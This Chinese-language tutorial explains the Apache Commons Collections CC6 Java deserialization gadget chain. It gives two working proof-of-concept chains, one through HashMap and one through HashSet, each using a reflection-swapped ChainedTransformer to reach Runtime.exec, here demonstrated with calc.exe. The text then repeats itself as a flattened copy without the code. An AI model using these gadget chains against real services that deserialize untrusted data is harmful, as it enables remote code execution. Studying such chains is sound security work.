Java 反序列化:Apache Commons Collections CC6 利用链深度解析
字数 1788 2025-09-01 11:26:17

Apache Commons Collections CC6 利用链深度解析

环境搭建

前言

CC1回顾

  1. TransformedMap链:

    • 通过sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法
    • foreach语句执行Map遍历,调用memberValues.setValue()
    • 触发MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()
  2. LazyMap链:

    • foreach语句执行memberValues.entrySet()
    • 触发代理对象的invoke()方法
    • 调用LazyMap.get()ChainedTransformer.transform()

Java 8u71后的变化

官方修改了AnnotationInvocationHandler类的readObject方法:

  • 不再使用原始Map对象,而是新建LinkedHashMap对象
  • 新方法没有memberValues.setValue()
  • 导致TransformedMap链失效,LazyMap链也无法触发

CC6分析

HashMap链分析

关键发现

  1. TiedMapEntry类:

    • getValue()方法调用map.get()
    • hashCode()方法调用getValue()
  2. 利用链构造:

    • 通过HashMap.readObject()putVal()hash(key)key.hashCode()
    • 控制key为TiedMapEntry对象,触发getValue()LazyMap.get()

问题与解决

  1. 直接执行问题:

    • Map.put()也会调用hashCode(),导致提前触发
    • 解决方案:先使用假的ChainedTransformer,执行后通过反射替换为真实payload
  2. 键值污染问题:

    • TiedMapEntry构造时会将键存入LazyMap
    • 导致LazyMap.get()时键已存在,无法触发transform
    • 解决方案:构造后移除键LazyMap.remove(key)

最终POC

// 1. 创建假的Transformer链
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });

// 2. 创建LazyMap并移除测试键
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, fakeChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keyToRemove");
lazyMap.remove("keyToRemove"); // 关键:移除键确保后续get触发transform

// 3. 创建HashMap并添加entry
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry, "value");

// 4. 通过反射替换为真实Transformer链
Transformer[] realChain = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, realChain);

// 序列化和反序列化触发
serializeAndDeserialize(hashMap);

完整利用链

HashMap.readObject()
  -> HashMap.hash(key)
    -> TiedMapEntry.hashCode()
      -> TiedMapEntry.getValue()
        -> LazyMap.get()
          -> ChainedTransformer.transform()
            -> Runtime.exec()

HashSet链分析

关键发现

  1. HashSet类:

    • readObject()方法调用map.put()
    • add()方法可控制放入的entry
  2. 利用链构造:

    • 通过HashSet.readObject()HashMap.put()hash(key)key.hashCode()
    • 控制key为TiedMapEntry对象

问题与解决

  • 直接add(tiedMapEntry)会立即触发payload
  • 解决方案:同样使用假的Transformer链,执行后反射替换

最终POC

// 1. 创建假的Transformer链
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });

// 2. 创建LazyMap并移除测试键
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, fakeChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keyToRemove");
lazyMap.remove("keyToRemove");

// 3. 创建HashSet并添加entry
HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);

// 4. 通过反射替换为真实Transformer链
Transformer[] realChain = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, realChain);

// 序列化和反序列化触发
serializeAndDeserialize(hashSet);

完整利用链

HashSet.readObject()
  -> HashMap.put()
    -> HashMap.hash(key)
      -> TiedMapEntry.hashCode()
        -> TiedMapEntry.getValue()
          -> LazyMap.get()
            -> ChainedTransformer.transform()
              -> Runtime.exec()

关键点总结

  1. 核心类:

    • TiedMapEntry: 提供getValue()LazyMap.get()的桥梁
    • LazyMap: 延迟执行Transformer链
    • ChainedTransformer: 执行恶意操作链
  2. 触发机制:

    • 通过集合类(HashMap/HashSet)的readObject触发
    • 利用hashCode()方法间接调用getValue()
  3. 绕过限制技巧:

    • 使用假的Transformer链避免提前触发
    • 移除测试键确保LazyMap.get()触发transform
  4. 版本适应性:

    • 不受JDK版本限制
    • Commons Collection需≤3.2.1

参考

  1. Java 安全-漏洞篇-CC6链分析
  2. Java CommonCollections6
  3. FreeBuf文章
  4. CC6链分析
  5. ysoserial CommonsCollections6.java
Apache Commons Collections CC6 利用链深度解析 环境搭建 JDK版本 : 8u71(但CC6对JDK版本无限制,任意版本均可) Commons Collection版本 : 3.2.1或更低 JDK下载地址: Oracle Java SE 8 Archive Downloads 前言 CC1回顾 TransformedMap链 : 通过 sun.reflect.annotation.AnnotationInvocationHandler 类的 readObject 方法 foreach语句执行Map遍历,调用 memberValues.setValue() 触发 MapEntry.setValue() → TransformedMap.checkSetValue() → ChainedTransformer.transform() LazyMap链 : foreach语句执行 memberValues.entrySet() 触发代理对象的 invoke() 方法 调用 LazyMap.get() → ChainedTransformer.transform() Java 8u71后的变化 官方修改了 AnnotationInvocationHandler 类的 readObject 方法: 不再使用原始Map对象,而是新建 LinkedHashMap 对象 新方法没有 memberValues.setValue() 导致TransformedMap链失效,LazyMap链也无法触发 CC6分析 HashMap链分析 关键发现 TiedMapEntry类 : getValue() 方法调用 map.get() hashCode() 方法调用 getValue() 利用链构造 : 通过 HashMap.readObject() → putVal() → hash(key) → key.hashCode() 控制key为 TiedMapEntry 对象,触发 getValue() → LazyMap.get() 问题与解决 直接执行问题 : Map.put() 也会调用 hashCode() ,导致提前触发 解决方案:先使用假的 ChainedTransformer ,执行后通过反射替换为真实payload 键值污染问题 : TiedMapEntry 构造时会将键存入 LazyMap 导致 LazyMap.get() 时键已存在,无法触发 transform 解决方案:构造后移除键 LazyMap.remove(key) 最终POC 完整利用链 HashSet链分析 关键发现 HashSet类 : readObject() 方法调用 map.put() add() 方法可控制放入的entry 利用链构造 : 通过 HashSet.readObject() → HashMap.put() → hash(key) → key.hashCode() 控制key为 TiedMapEntry 对象 问题与解决 直接 add(tiedMapEntry) 会立即触发payload 解决方案:同样使用假的Transformer链,执行后反射替换 最终POC 完整利用链 关键点总结 核心类 : TiedMapEntry : 提供 getValue() 到 LazyMap.get() 的桥梁 LazyMap : 延迟执行Transformer链 ChainedTransformer : 执行恶意操作链 触发机制 : 通过集合类( HashMap/HashSet )的 readObject 触发 利用 hashCode() 方法间接调用 getValue() 绕过限制技巧 : 使用假的Transformer链避免提前触发 移除测试键确保 LazyMap.get() 触发transform 版本适应性 : 不受JDK版本限制 Commons Collection需≤3.2.1 参考 Java 安全-漏洞篇-CC6链分析 Java CommonCollections6 FreeBuf文章 CC6链分析 ysoserial CommonsCollections6.java